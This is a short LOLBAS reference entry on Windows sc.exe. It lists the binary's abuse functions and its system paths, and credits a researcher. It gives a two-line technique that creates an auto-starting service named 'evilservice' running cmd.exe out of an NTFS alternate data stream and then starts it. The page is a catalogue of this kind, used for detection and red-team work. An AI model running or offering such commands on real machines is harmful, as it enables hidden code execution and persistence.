LOLBAS/OSBinaries/Sc.md

513 B

SC.exe

  • Functions: Execute, Read ADS, Create Service, Start Service
sc create evilservice binPath= "\"c:\ADS\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto     
sc start evilservice     

Acknowledgements:

  • Oddvar Moe - @oddvarmoe

Code sample: *

Resources:

Full path:

c:\windows\system32\sc.exe
c:\windows\sysWOW64\sc.exe

Notes: